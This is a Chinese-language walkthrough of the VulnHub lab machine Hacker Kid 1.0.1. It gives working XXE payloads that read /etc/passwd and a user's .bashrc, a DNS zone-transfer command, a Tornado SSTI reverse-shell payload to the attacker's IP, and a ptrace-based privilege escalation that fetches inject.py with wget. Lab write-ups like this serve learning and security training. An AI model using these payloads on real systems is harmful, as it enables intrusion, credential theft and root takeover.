vulnhub靶场之HACKER KID: 1.0.1

靶机:Hacker kid: 1.0.1,下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

考点:xxe漏洞、dns解析、ssti漏洞、cap_sys_ptrace+ep进程注入提权。

靶机登录

image-20251023090054681

发现需要密码

信息收集

ip地址

image-20251023161920490

端口扫描

image-20251023161935946

开放了 53(DNS服务),80(HTTP apache服务) , 9999(HTTP tornado服务)

tornado为python的web框架。

image-20251023163503646

在靶场场景中,80 端口的 Apache 可能提供常规网页(如登录页、静态内容),而 9999 端口的 Tornado 可能运行着需要异步处理的功能(如 API 接口、实时交互页面),两者可能对应不同的漏洞点(如 Apache 的配置漏洞、Tornado 的代码逻辑漏洞等),需分别探测分析。

如果想查看详细信息可以用这个

1
nmap -sV -A -p- -T4 192.168.23.134

image-20251023162205944

同时进行目录扫描

image-20251023162243930

image-20251023162409282

80端口网页访问目录没看到什么比较有用的

不过查看源代码可以发现有提示信息

  • 注释内容:TO DO: Use a GET parameter page_no to view pages.,明确提示需要用 page_no 这个 GET 参数来访问更多分页(例如 ?page_no=1 ?page_no=2)。

介里

我们get传参进去

image-20251023163936701

返回了信息

不知道是不是sql注入

找个字典爆破一下试试

image-20251023164622093

image-20251023164628868

image-20251023164720780

失败了

再尝试一些其他的数字

image-20251023164754485

发现21的时候返回不同

image-20251023164819320

Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes…one such home..one such home for me : hackers.blackhat.local
大概意思就是

“怎么,你是想让我说点什么?

我可是个黑客小孩,又不是笨蛋黑客。所以我建了些子域名,方便我随时回到这台服务器上!

在我众多‘窝点’里…… 有这么一个‘窝’,专门给我留的:hackers.blackhat.local”

(怎么豆包翻译的这么抽象 )

hackers.blackhat.local这个是他的域名

我们尝试使用dig挖掘域名信息

dig信息收集

1.修改 Kali 的 hosts 文件,添加子域名映射

1
sudo nano /etc/hosts

image-20251023171626810

1
192.168.23.134  hackers.blackhat.local

刷新dns缓存

1
sudo nscd -i hosts

打开域名

1
http://hackers.blackhat.local/

image-20251023173241472

尽量在虚拟机浏览器打开

反正我这里主机的浏览器打不开这个域名

这里利用到的是DNS 区域传输漏洞

DNS 区域传输漏洞

DNS 区域传输(AXFR)是 DNS 服务器之间同步域名解析记录的机制。正常情况下,只有授权的 DNS 服务器才能请求区域传输。但如果 DNS 服务器配置不当,任何主机都能发起 AXFR 请求并获取整个区域的所有解析记录,这就形成了区域传输漏洞。攻击者可通过该漏洞枚举所有子域名、IP 映射等敏感信息,为后续渗透提供攻击面。

利⽤dns的区域传输漏洞查看dns记录,探测到新的域名

axfr 是q-type类型的一种: axfr类型是Authoritative Transfer的缩写,指请求传送 某个区域的全部记录。我们只要欺骗dns服务器发送一个axfr请求过去,如果该dns服务器上存在该漏洞,就会返回所有的解析记录值

1
dig @192.168.23.134 -t axfr blackhat.local

image-20251023173639053

发现有一个子域 hackerkid.blackhat.local,将该子域也添加进 hosts 文件里

image-20251023174348150

新的页面

查看源代码

image-20251023174731149

发现可利用的漏洞点(xxe)

抓包尝试利用

image-20251023175951757

很明显的xml格式

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY ohh SYSTEM "file:///etc/passwd">

]>

<root><name>1</name><tel>1</tel><email>

&ohh;

</email><password>password</password></root>

image-20251023182243251

带出passwd

/etc/passwd每行代表一个用户,格式为 “用户名:密码占位符:UID:GID:描述:家目录:登录shell

筛选了只有两个用户 具有 /bin/bash

image-20251023182659967

读取 saket home目录下的 .bashrc 文件

用filter伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY ohh SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">

]>

<root><name>ohh</name><tel>1</tel><email>

&ohh;

</email><password>password</password></root>

image-20251023183031882

解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

拿到账号密码

image-20251023183324716

image-20251023183748935

image-20251023183805651

。。。。。账号要换成saket

页面告诉我们tell me your name.

尝试传参发现回显回来是我们的输入

考虑ssti

image-20251023184157087

存在ssti漏洞

image-20251023205229812

试了一下用fenjing一把梭

但是没能成功

回到手注(注意目标使用的是Tornado 模板引擎而不是jinja2)

image-20251023205608055

列出根目录信息

1
?name={{__import__('os').popen('ls /').read()}}

下意识想去找flag了

但在靶机里面我们要的是shell

所以这里下一步尝试反弹shell

1
nc -lvnp 1234

开始监听1234端口

1
?name={{__import__('os').system('bash -c "bash -i >& /dev/tcp/192.168.23.129/1234 0>&1"')}}

记得要url编码一下

1
?name={{__import__('os').system('bash%20-c%20"bash%20-i%20%3E%26%20/dev/tcp/192.168.23.129/1234%200%3E%261"')}}

image-20251023210334816

成功getshell

提权

考点:Capabilitie 提权

Linux提权之:利用capabilities提权 - f_carey - 博客园

Linux 的 Capabilities 将 root 权限拆分为细粒度的权限集合(如CAP_NET_RAW允许创建原始套接字、CAP_SYS_ADMIN包含系统管理权限等)。若某个程序被错误配置了高权限 Capabilities(如cap_setuid+ep),普通用户可通过该程序提权。

1
/sbin/getcap -r / 2>/dev/null   

image-20251023210924520

系统中存在一个可利用的 Capabilities 配置:/usr/bin/python2.7 = cap_sys_ptrace+ep,可通过ptrace权限实现提权

(/usr/bin/python2.7 = cap_sys_ptrace+ep 之所以可被利用,核心原因是 cap_sys_ptrace 权限赋予了 python2.7 调试系统中任意进程(包括 root 进程) 的能力,而这种权限可以被滥用为提权通道)

具体利用逻辑(提权流程)

找到一个运行中的 root 进程(如 systemdsshdcrond 等,这些进程始终以 root 权限运行)。

1
ps -ef | grep root | grep -v grep | grep -v '\[' | awk '{print $2 "\t" $8}'

我们选择这个进程继续

image-20251023211442378

复制个脚本

python Capabilities cap_sys_ptrace+ep提权 - 隐念笎 - 博客园

靶机导入脚本

折腾了好久

1
2
3
4
5
6
# 攻击机先把 inject.py 文件下载好,然后使用python开启http服务端口
python -m http.server 8000
# 靶机下载、给执行权限、注入root进程
wget http://192.168.23.129:8000/inject.py
chmod +x inject.py
/usr/bin/python2.7 inject.py 727

image-20251024084003270

1
nc 192.168.23.129 5600